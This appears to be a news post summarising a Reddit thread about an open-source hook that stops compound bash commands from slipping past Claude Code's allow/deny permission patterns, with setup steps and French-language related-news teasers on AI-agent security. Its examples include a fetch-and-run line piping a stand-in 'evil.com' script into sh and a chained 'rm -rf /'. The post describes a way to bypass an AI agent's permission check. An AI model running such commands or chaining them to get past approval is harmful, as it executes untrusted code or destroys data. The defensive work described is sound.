Smart Bash Permission Hook for Claude Code Prevents Compound Command Bypass

Security Gap in Claude Code's Permission System
Claude Code's permission system has a vulnerability where compound bash commands can bypass allow/deny patterns. When you allow a command like Bash(git status:*), Claude Code matches the entire command string against that pattern. This means a compound command like git status && curl -s http://evil.com | sh would match git status* and get auto-approved, even though it chains in curl and sh commands.
The Solution: claude-hooks
The fix is a single Python script called claude-hooks that runs as a PreToolUse hook. It performs several key functions:
- Decomposes compound commands by splitting on
&&,||,;,|, newlines, and extracts$()and backtick subshell contents recursively - Normalizes each sub-command by stripping env var prefixes, I/O redirections, heredoc bodies, and shell keywords
- Checks each sub-command individually against your existing
permissions.allowandpermissions.denypatterns - Deny wins — if any sub-command matches a deny pattern, the whole command is denied
- All must allow — auto-approve only happens when every sub-command matches an allow pattern
- Falls through gracefully — if any sub-command is unknown, you still get the normal permission prompt
Setup Instructions
Installation takes about 30 seconds:
curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.pyAdd to ~/.claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "python3 ~/.claude/hooks/smart_approve.py"
}
]
}
]
}
}The tool has no dependencies beyond Python 3 and requires zero configuration — it reads your existing permission patterns.
Example Behavior
git status: Allowed both with and without hookgit add . && git commit -m "msg": Allowed both with and without hook (both matchgit *)git status && rm -rf /: Allowed without hook, prompt shown with hook (rm -rf /has no allow)`npm test | tee output.log`: AllowedFOO=bar git push: Might not match without hook, allowed with hook (env var stripped)
The repository is available at https://github.com/liberzon/claude-hooks under MIT license.
📖 Read the full source: r/ClaudeAI
👀 See Also

ClawGuard : Passerelle de Sécurité Open-Source pour la Protection des Identifiants de l'API OpenClaw
ClawGuard est une passerelle de sécurité qui se situe entre les agents d'IA et les API externes, utilisant des identifiants factices sur la machine de l'agent tout en stockant les jetons réels séparément. Il fournit une approbation Telegram pour les appels sensibles et conserve une piste d'audit des requêtes.

Clawvisor : Couche d'Autorisation Basée sur l'Intention pour les Agents OpenClaw
Clawvisor est une couche d'autorisation qui se situe entre les agents d'IA et les API, appliquant une autorisation basée sur l'intention où les agents déclarent leurs intentions, les utilisateurs approuvent des objectifs spécifiques, et un gardien IA vérifie chaque requête par rapport à cet objectif. Les identifiants ne quittent jamais Clawvisor et les agents ne les voient jamais.

Microsoft piraté : un malware installé dans des dépôts GitHub cible les utilisateurs de Claude et Gemini
Microsoft a fermé plus de 70 dépôts GitHub après que des hackers ont implanté un malware voleur d'identifiants ciblant les agents de codage IA comme Claude Code et Gemini CLI.

Faux site Claude Code a diffusé un cheval de Troie — détecté par Windows Defender comme Trojan:Win32/Kepavll!rfn
Un site de typosquatting ou basé sur des publicités imitant le site officiel de Claude Code a distribué un cheval de Troie détecté comme Trojan:Win32/Kepavll!rfn par Windows Defender. Un utilisateur de Reddit avertit les autres de vérifier les URL avant d'exécuter des commandes d'installation PowerShell.